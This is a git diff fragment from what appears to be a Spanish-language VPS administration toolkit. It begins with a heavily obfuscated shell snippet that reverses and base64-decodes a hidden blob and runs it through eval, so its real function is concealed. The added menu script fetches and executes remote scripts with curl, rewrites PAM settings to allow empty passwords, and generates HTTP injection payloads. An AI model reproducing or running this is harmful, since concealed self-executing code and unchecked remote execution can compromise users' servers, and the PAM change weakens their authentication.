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 | r";nfnRrtHqysDsIxRoolBcZCRDHuAssgEVRqpTpyHWdMCIyivHetmHjkfcqxbAedubyXzulgKiyBmVwWnZcdtEImcWsivqJiPOWBIb="dBhQEGiexfaeAzxzfSxnUogIimSgDcUfbcxLLkfWzstGFrGhuTMClHyJbNlTFggnOeoMsykOynFSgBggIWpgHCkxvQZNciMwWvmq";MJUBfFAJFRInGvuTeUFPXChNEfUKDHRRFDcJszTRFQHZAGQGmDKuZRzHQADGwcWGVoizhHIoqQUAMLSWuvbLQAGVqGLkkCBxTWLQ="";GLKhdIKHzShHEkeVglQQLuzDhBSYnbHIYyppKfDROSLMYeazptSSsaJeYFzxnjXIKuKAaEDSGojjfZxNKWJzdwYtgfLcSZotJnjt="as";aCamkqhHoEZyklIqGbjpmXYXWMyGoifMVCsUzPSyxfRnjyafCoCITfIDImEXWEogDBaelgVmedZMVUJbZFgWfMkBVAlishfbinHT="WCVGELNLiXlnQFDJjiLNTHmceqoOLEGBrRnDAdCRgwfdZrDlfhcnoCTlNvgawSocPCAGxfzsygprzmIfRlkrKFsSvbDnEeXohhfL";yhCDbOmvYiUosYvFyXLfhwUMfvihQCyHrEeAHICKQcUrmGHkfZOwbCVidnWohJKcefnrESsUvAXbZNdWMqUjUVKWyixAOXpPXEaA="rLkjgsvjfbJYUGdJvPCNlImEIwLUjrkrDeEYPOlfyslKXtvkZRnwjEHVFTXXGxVqTUEIKHCCoBANQtswcEBsgdkQjQxLSmwzYuht";bIRdFOPhVarGLjrKfVyJRjeYgGCFxgXQBaIVWnwDstwjoXmsdhpOCEKcbvkgYCUhkCXlsDQkRmPVXCGKBPhLWgHMfMAHiTqTtZnv="o";lkuWcLQwpPFZqFobpKENEaLnhZnQVEkuaYZCCeIkLsCcDqNvcYRfhpCdcBejZIlvIbWqWrRJjbvblyROQYiJPetoYBgufUfaWywb="6";icWreeJJUdjmHGExgVBMxNHgsXVNBTwFfHnIpLLJOnROtuhfWROKnzozgnzGCOntCEMDLLOBEpBfDWLEOyzLGbowSajgeqqKCvuh="bgWsQlaEhoNNZsuZpWOioiUzGTPQnzKfGxwKwCNcGeolVBqNPQTqjfphdPFEfkLQlhjabxSrqFPXDNQBFNJOUGRYNDDyPZmFzFkG";tiagyjlkoJhiuyisBaxZSlYxyGghcWSysJwnRdgIHnKEokWYAOvpXogApacIuhyknCVgrsHoZDUhMxpVVjieLgAhZFTCTJQyHiPH=" -d";EbCrnmYTDOyREbGjoqvxUWoRupvXCEpgorPfQqzzFVdrfbkQAesQjPxVuKzPjUcAmeUURwnuzmJiKYSjsSTLggYgSgkysFPGwUDx="rEkFQZeYIACcedSglnuYkcMfkCAFkgNOGHjJPRXzfQTbiByofrXyBfWlLsmjuHJFzwmAtkSqHppoSmYuiBKLDeTgGbqnWHYaDynj";feQQTCnEkbaJKgPnGZFLEPzZTXhxOHBnWaZVhiqApBwwSBHDgzDPJAOYWNEFQwfdCIHqpfZjOmRDFCjmcAVSzqxnuVcnFgSCTmPn="";EcSOUmdvlwmEqRsLgbQdnevyRTYWBogAjgROOeeHlWpHDIoErEuhSHRBsBxxMQCFOBsNcbWoybgfbYjBYPNvTgPxuNtkBVlueFHM="b";ASxAiTdepVvZlQJvLASukAYOnIGOpMupmqEsuNnPPMdhSErGTdqNYRuczDfXPqvCYQXIRStrbOcbmcytqQmQrzRxxfIUimotEJtI="e";rxcVztvwIMMRFWIWsCpaFwNZkVTjCKNGMEFbfcXZRcvUWjjdaSDoQBXjXTjmPDgQupwARbVWjLwxEcmVqQadtdQsxJKuailbKzER="v |";Tx=Eds;AnpRkGHYthtDaDxraucyAlFloiDOAXkcpgXZJvbzwaLpvdPlvUHtrDlZxwXEABBNYKmtwCFuKrJqAJLSQcmnrwhSwiTzCPebTlDM="";EqMIXqDizoZyBZjDiOlVzYYAGXyUBFrLGNiRNDBtJFopegLmWkeeRtjaEvFIvoYdrshHraHgNyGFZEGROzBjIDLwxKKYDyzCtqpl=$(eval "$MJUBfFAJFRInGvuTeUFPXChNEfUKDHRRFDcJszTRFQHZAGQGmDKuZRzHQADGwcWGVoizhHIoqQUAMLSWuvbLQAGVqGLkkCBxTWLQ$ASxAiTdepVvZlQJvLASukAYOnIGOpMupmqEsuNnPPMdhSErGTdqNYRuczDfXPqvCYQXIRStrbOcbmcytqQmQrzRxxfIUimotEJtI$qKCQynhqshGdUbIGBbSMQXSvLmcMLBJwNzwSYCLcqfyMMhegAFRhGEPsXxfHDJHNVkRwctHnZDPyKOzmOXmhRXLNpZlMIahpuuvV$qHbfQBxOubKAvTtnLOLVfXdsTPwTURuzZBNfxGgTxtzDDChhvUPYpNjyAxfNeeMTrLkNgjQNCLJQeIhMthAFiGjwbswrefiUhggo$bIRdFOPhVarGLjrKfVyJRjeYgGCFxgXQBaIVWnwDstwjoXmsdhpOCEKcbvkgYCUhkCXlsDQkRmPVXCGKBPhLWgHMfMAHiTqTtZnv$ScCXHocABljLIUsOsKHBPxVDeshyHZCZoWASVKjDpweodYTXIlJzASehZKkErcukjXYeZBjjRRktpuWaBAykuZVWmFvPIvcHVFzJ$ASxAiTdepVvZlQJvLASukAYOnIGOpMupmqEsuNnPPMdhSErGTdqNYRuczDfXPqvCYQXIRStrbOcbmcytqQmQrzRxxfIUimotEJtI$rxcVztvwIMMRFWIWsCpaFwNZkVTjCKNGMEFbfcXZRcvUWjjdaSDoQBXjXTjmPDgQupwARbVWjLwxEcmVqQadtdQsxJKuailbKzER$MJUBfFAJFRInGvuTeUFPXChNEfUKDHRRFDcJszTRFQHZAGQGmDKuZRzHQADGwcWGVoizhHIoqQUAMLSWuvbLQAGVqGLkkCBxTWLQ$EcSOUmdvlwmEqRsLgbQdnevyRTYWBogAjgROOeeHlWpHDIoErEuhSHRBsBxxMQCFOBsNcbWoybgfbYjBYPNvTgPxuNtkBVlueFHM$AnpRkGHYthtDaDxraucyAlFloiDOAXkcpgXZJvbzwaLpvdPlvUHtrDlZxwXEABBNYKmtwCFuKrJqAJLSQcmnrwhSwiTzCPebTlDM$GLKhdIKHzShHEkeVglQQLuzDhBSYnbHIYyppKfDROSLMYeazptSSsaJeYFzxnjXIKuKAaEDSGojjfZxNKWJzdwYtgfLcSZotJnjt$ASxAiTdepVvZlQJvLASukAYOnIGOpMupmqEsuNnPPMdhSErGTdqNYRuczDfXPqvCYQXIRStrbOcbmcytqQmQrzRxxfIUimotEJtI$lkuWcLQwpPFZqFobpKENEaLnhZnQVEkuaYZCCeIkLsCcDqNvcYRfhpCdcBejZIlvIbWqWrRJjbvblyROQYiJPetoYBgufUfaWywb$qHbfQBxOubKAvTtnLOLVfXdsTPwTURuzZBNfxGgTxtzDDChhvUPYpNjyAxfNeeMTrLkNgjQNCLJQeIhMthAFiGjwbswrefiUhggo$PMQjaJDurPRVnQmhvbppBJxoJrVhPtZbGTvSFbcTZIfrcBCfmmAOcaCjKIzLHqRIsupIHDNFDXfquStKxlRPahWaqrPFXBkIoGBa$tiagyjlkoJhiuyisBaxZSlYxyGghcWSysJwnRdgIHnKEokWYAOvpXogApacIuhyknCVgrsHoZDUhMxpVVjieLgAhZFTCTJQyHiPH$AnpRkGHYthtDaDxraucyAlFloiDOAXkcpgXZJvbzwaLpvdPlvUHtrDlZxwXEABBNYKmtwCFuKrJqAJLSQcmnrwhSwiTzCPebTlDM");eval "$feQQTCnEkbaJKgPnGZFLEPzZTXhxOHBnWaZVhiqApBwwSBHDgzDPJAOYWNEFQwfdCIHqpfZjOmRDFCjmcAVSzqxnuVcnFgSCTmPn$EqMIXqDizoZyBZjDiOlVzYYAGXyUBFrLGNiRNDBtJFopegLmWkeeRtjaEvFIvoYdrshHraHgNyGFZEGROzBjIDLwxKKYDyzCtqpl$MJUBfFAJFRInGvuTeUFPXChNEfUKDHRRFDcJszTRFQHZAGQGmDKuZRzHQADGwcWGVoizhHIoqQUAMLSWuvbLQAGVqGLkkCBxTWLQ$qHbfQBxOubKAvTtnLOLVfXdsTPwTURuzZBNfxGgTxtzDDChhvUPYpNjyAxfNeeMTrLkNgjQNCLJQeIhMthAFiGjwbswrefiUhggo" \ No newline at end of file diff --git a/test/ferramentas b/test/ferramentas new file mode 100755 index 0000000..f688545 --- /dev/null +++ b/test/ferramentas @@ -0,0 +1,448 @@ +#!/bin/bash +source msg + +start_menu(){ +source /etc/adm-lite/cabecalho +clear +[[ -e /root/name ]] && { + figlet -f future $(cat /root/name) | lolcat + msg -bar +} || { + cat <<< '╻ ╻┏━╸┏━┓┏━┓┏━┓┏┳┓╻┏━╸┏┓╻╺┳╸┏━┓┏━┓ +┣━┫┣╸ ┣┳┛┣┳┛┣━┫┃┃┃┃┣╸ ┃┗┫ ┃ ┣━┫┗━┓ +╹ ╹┗━╸╹┗╸╹┗╸╹ ╹╹ ╹╹┗━╸╹ ╹ ╹ ╹ ╹┗━┛' + msg -bar +} +msg -ama " $(printext 'HERRAMIENTAS GENERALES')" +msg -bar +menu_func '-fi BLOCK TORRENT;configuración' 'FIX PASSWD VULTR' "MENÚ BADVPN $_badvpn" "TCP-SPEED $_tcpspeed" "-fi FAIL2BAN PROTECTION;mantiene segura tu ip $fail_b" \ +"DATOS DEL SERVIDOR" "-fi SPEED-TEST;test de velocidad" 'COMPARTIR ARCHIVOS ONLINE' 'GENERADOR DE PAYLOADS' 'ULTRAHOST DE DOMINIOS' 'CAPTURAR SUBDOMINIOS' '-fi REINICIAR VPS;reboot' +back +#echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮${cor[3]} Bloqueo Torrent y Palabras Claves \033[0;33m( #BETA )" +#echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮${cor[3]} FIX PassWD Vultr" +#echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮${cor[3]} Bad-VPN (Juegos Online/VideoCalls) $_badvpn" +#echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ➮${cor[3]} TCP SPEED ( BBR ) $_tcpspeed" +#echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ➮${cor[3]} FAILBAN\033[0;32m ( Secure IP ) $fail_b" +#echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;31m ➮${cor[3]} DETALLES DEL VPS " +#echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;31m ➮${cor[3]} TEST DE VELOCIDAD DEL SERVIDOR" +#echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;31m ➮${cor[3]} COMPARTIR ARCHIVO ONLINE" +#echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;31m ➮${cor[3]} GENERADOR DE PAYLOAD" +#echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;31m ➮${cor[3]} ULTRA HOST DE DOMINIOS " +#echo -e "\033[0;35m [\033[0;36m11\033[0;35m]\033[0;31m ➮${cor[3]} CAPTURAR SUBDOMINIOS \033[0;33m( #ToolMaster )" +#echo -e "\033[0;35m [\033[0;36m12\033[0;35m]\033[0;31m ➮${cor[3]} REINICIAR VPS (REBOOT)" +#msg -bar +#echo -e " \033[0;35m[\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ Regresar ]\e[0m")" +#msg -bar +} + +block_torrent(){ + msg -bar + source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/blockT.sh) + msg -bar + export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games +} + +fix_vultr(){ +#echo -e 'Aplicando FIX para Vultr VPS Passwd' +echo -e " $(printext 'EJECUTANDO FIXEO PARA VULTR')" +echo -e "\e[1;97mAÑADIENDO REGISTRO A PAM.D" +sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password +msg -bar # +echo -e "\e[1;32m[✓] REGISTRO AÑADIDO [✓]" +msg -bar # +sleep 2s +} + +badUDP(){ +msg -bar +echo -e " $(printext 'INSTALANDO BADVPN')" +msg -bar +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/ferramentas/budp.sh) +} + +tcp_BBR(){ +msg -bar +echo -e "${cor[4]} Este Script fue proyectado" +echo -e "${cor[4]} Para Mejorar La Latencia" +echo -e "${cor[4]} y velocidad del servidor!" +msg -bar +echo -e "${cor[5]} ANALIZADO POR @drowkid01" +sleep 1s +if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then +#INSTALA +echo -e "${cor[5]} Este es un script experimental" +echo -e "${cor[5]} ¡Utilice por su propia cuenta y riesgo!" +echo -e "${cor[5]} Este script cambiará algunas" +echo -e "${cor[5]} configuraciones de red (BBR)" +echo -e "${cor[5]} del sistema para reducir" +echo -e "${cor[5]} la latencia y mejorar la velocidad" +msg -bar +read -p " Continuar con la instalación? [s/n]: " -e -i s resp_osta +echo -e "\033[1;37m" +if [[ "$resp_osta" = 's' ]]; then +unset resp_osta +echo "#ADM" >> /etc/sysctl.conf +echo "net.ipv4.tcp_window_scaling = 1 +net.core.rmem_max = 16777216 +net.core.wmem_max = 16777216 +net.ipv4.tcp_rmem = 4096 87380 16777216 +net.ipv4.tcp_wmem = 4096 16384 16777216 +net.ipv4.tcp_low_latency = 1 +net.ipv4.tcp_slow_start_after_idle = 0 +net.core.default_qdisc=fq +net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf +sysctl -p /etc/sysctl.conf > /dev/null 2>&1 +echo -e "${cor[5]} Configuración de red TCP" +echo -e "${cor[5]} se han agregado con éxito" +msg -bar +return + else +msg -bar +return +fi + else +#REMOVE +echo -e "${cor[5]} Configuración de red TCP" +echo -e "${cor[5]} ya se han agregado en el sistema!" +msg -bar +read -p " Desea quitar la configuración TCP? [s/n]: " -e -i n res_posta +if [[ "$res_posta" = 's' ]]; then +unset res_posta +grep -v "^#ADM +net.ipv4.tcp_window_scaling = 1 +net.core.rmem_max = 16777216 +net.core.wmem_max = 16777216 +net.ipv4.tcp_rmem = 4096 87380 16777216 +net.ipv4.tcp_wmem = 4096 16384 16777216 +net.ipv4.tcp_low_latency = 1 +net.ipv4.tcp_slow_start_after_idle = 0 +net.core.default_qdisc=fq +net.ipv4.tcp_congestion_control=bbr" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf +sysctl -p /etc/sysctl.conf > /dev/null 2>&1 +echo -e "${cor[5]} Configuración de red TCP" +echo -e "${cor[5]} se han eliminado con éxito" +msg -bar +return + else +msg -bar +return + fi +fi +} + +fail_ban () { +bash -c "$(curl -fsSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/ferramentas/fai2ban.sh)" +fail2ban-testcases -x start 2>/dev/null +fail2ban-client -x start 2>/dev/null +} + +testing_test () { +clear&&clear +msg -bar + +echo -e " INICIANDO PRUEBAS DE VELOCIDAD !" | pv -qL 25 +llenadatos_() { +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#speedtest +[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] || apt-get install speedtest* -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "speedtest"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install speedtest ........... $ESTATUS " +echo "FIX" > /bin/ejecutar/fixTST +} + +[[ -e /bin/ejecutar/fixTST ]] || llenadatos_ + +function aguarde() { + sleep 1 + helice() { + #TMPDIR="$(mktemp -d)" + speedtest --share > /bin/ejecutar/result.txt & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m REALIZANDO PRUEBAS DE\033[1;32m DESCARGA \033[1;37m& \033[1;32mSUBIDA\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +msg -bar +aguarde +msg -bar +pingGG=$(ping -c1 google.com |awk '{print $8 $9}' |grep -v loss |cut -d = -f2 |sed ':a;N;s/\n//g;ta') +power_by=$(less /bin/ejecutar/result.txt | grep "Testing from" | awk '{print $3,$4}') +down_load=$(less /bin/ejecutar/result.txt | grep "Download" | awk '{print $2,$3}') +up_load=$(less /bin/ejecutar/result.txt | grep "Upload" | awk '{print $2,$3}') +resultURL=$(less /bin/ejecutar/result.txt | grep "Share results" | awk '{print $2,$3}') +echo -e "${cor[5]} HOSTING BASE : $power_by " +echo -e "${cor[5]} LATENCIA PING : $pingGG " +echo -e "${cor[5]} V DE SUBIDA : $up_load" +echo -e "${cor[5]} V DE DESCARGA : $down_load" +echo -e "${cor[5]} URL DE TEST : $resultURL" +msg -bar +return +} + +function_10 () { +null="\033[1;31m" +msg -bar +if [ ! /proc/cpuinfo ]; then +echo -e "${cor[4]} Error al procesar información" +msg -bar +return +fi +if [ ! /etc/issue.net ]; then +echo -e "${cor[4]} Error al procesar información" +msg -bar +return +fi +if [ ! /proc/meminfo ]; then +echo -e "${cor[4]} Error al procesar información" +msg -bar +return +fi +totalram=$(free | grep Mem | awk '{print $2}') +usedram=$(free | grep Mem | awk '{print $3}') +freeram=$(free | grep Mem | awk '{print $4}') +swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}') +system=$(cat /etc/issue.net) +clock=$(lscpu | grep "CPU MHz" | awk '{print $3}') +based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}') +processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}') +cpus=$(cat /proc/cpuinfo | grep processor | wc -l) +if [ "$system" ]; then +echo -e "${cor[5]} Su Sistema : ${null}$system" +else +echo -e "${cor[5]} Su Sistema : ${null}???" +fi +if [ "$based" ]; then +echo -e "${cor[5]} BASADO : ${null}$based" +else +echo -e "${cor[5]} BASADO : ${null}???" +fi +if [ "$processor" ]; then +echo -e "${cor[5]} PROCESADOR FISICO : ${null}$processor x$cpus" +else +echo -e "${cor[5]} PROCESADOR FISICO : ${null}???" +fi +if [ "$clock" ]; then +echo -e "${cor[5]} FRECUENCIA MAXIMA : ${null}$clock MHz" +else +echo -e "${cor[5]} FRECUENCIA MAXIMA : ${null}???" +fi +echo -e "${cor[5]} USO DEL CPU : ${null}$(ps aux | awk 'BEGIN { sum = 0 } { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')" +echo -e "${cor[5]} Arquitectura CPU ID : ${null}$(lscpu | grep "Vendor ID" | awk '{print $3}')" +echo -e "${cor[5]} MEMORIA RAM Total : ${null}$(($totalram / 1024))" +echo -e "${cor[5]} MEMORIA RAM USADA : ${null}$(($usedram / 1024))" +echo -e "${cor[5]} MEMORIA RAM LIBRE : ${null}$(($freeram / 1024))" +echo -e "${cor[5]} MEMORIA SWAP : ${null}$(($swapram / 1024))MB" +echo -e "${cor[5]} TIEMPO ONLINE : ${null}$(uptime)" +echo -e "${cor[5]} NOMBRE DEL VPS : ${null}$(hostname)" +echo -e "${cor[5]} DIRECCION VPS : ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}' | head -1)" +echo -e "${cor[5]} DIRECCION DE LA VPS : ${null}$(wget -qO- ifconfig.me)" +echo -e "${cor[5]} VERSION DEL KERNEL : ${null}$(uname -r)" +echo -e "${cor[5]} ARQUITECTURA DEL VPS: ${null}$(uname -m)" +msg -bar +return +} + +criar_pay () { +msg -bar +echo -e "${cor[5]} DIJITE SU HOST PARA EMPEZAR" +echo -e "${cor[5]} ¡PAYLOADS GENERICAS!" +echo -e "${cor[5]} INGRESA TU HOST" +msg -bar +read -p " => " valor1 +if [ "$valor1" = "" ]; then +echo -e "${cor[5]} NO SE INGRESO HOST!!!" +return +fi +meu_ip +valor2="$IP" +if [ "$valor2" = "" ]; then +valor2="127.0.0.1" +fi +msg -bar +echo -e "${cor[5]} ELEJIR METODO DE RESPUESTA ${cor[3]}" +echo -e " 1-GET" +echo -e " 2-CONNECT" +echo -e " 3-PUT" +echo -e " 4-OPTIONS" +echo -e " 5-DELETE" +echo -e " 6-HEAD" +echo -e " 7-TRACE" +echo -e " 8-PROPATCH" +echo -e " 9-PATCH" +msg -bar +read -p " => " valor3 +case $valor3 in +1)req="GET";; +2)req="CONNECT";; +3)req="PUT";; +4)req="OPTIONS";; +5)req="DELETE";; +6)req="HEAD";; +7)req="TRACE";; +8)req="PROPATCH";; +9)req="PATCH";; +*)req="GET";; +esac +msg -bar +echo -e "${cor[5]} POR ULTIMO" +echo -e "${cor[5]} METODO DE INJECCCION ${cor[3]}" +echo -e " 1-realData" +echo -e " 2-netData" +echo -e " 3-raw" +msg -bar +read -p " => " valor4 +case $valor4 in +1)in="realData";; +2)in="netData";; +3)in="raw";; +*)in="netData";; +esac +msg -bar +name=$(echo $valor1 | awk -F "/" '{print $2'}) +if [ "$name" = "" ]; then +name=$(echo $valor1 | awk -F "/" '{print $1'}) +fi +esquelet="/etc/adm-lite/payloads" +sed -s "s;realData;abc;g" $esquelet > $HOME/$name.txt +sed -i "s;netData;abc;g" $HOME/$name.txt +sed -i "s;raw;abc;g" $HOME/$name.txt +sed -i "s;abc;$in;g" $HOME/$name.txt +sed -i "s;get;$req;g" $HOME/$name.txt +sed -i "s;mhost;$valor1;g" $HOME/$name.txt +sed -i "s;mip;$valor2;g" $HOME/$name.txt +if [ "$(cat $HOME/$name.txt | egrep -o "$valor1")" = "" ]; then +echo -e "" +echo -e "${cor[3]} ALGO ESTA \033[1;36mMAL !!" +rm $HOME/$name.txt +return +fi +echo -e "${cor[3]} GENERACION DE PAYLOAD EXITOSA !!" +echo -e "${cor[3]} DIRECTORIO \033[1;31m$HOME/$name.txt" +return +} + +t_master () { +clear +toolmaster +} + +paybrute () { +chmod +x ./paysnd.sh +./paysnd.sh +} + +online_url(){ +msg -ama "¡PUEDES ACCEDER AL MENÚ SERVER-WEB DESDE LOS COMANDOS!" +msg -bar +msg -ama "USA: \e[1;97mserv --upload /etc/adm-lite/menu \e[1;30m[\e[38;5;219m#subir un archivo\e[1;30m]" +msg -ama "USA: \e[1;97mserv --upload /etc/adm-lite/menu \e[1;30m[\e[38;5;219m#borrar un archivo\e[1;30m]" +msg -ama "USA: \e[1;97mserv --view-files \e[1;30m[\e[38;5;219m#ver tus archivos\e[1;30m]" +echo -e "\e[1;97mó simplemente usa serv y accederás al menú del servidor online!" +enter + if [[ ! -e /usr/games/serv ]]; then 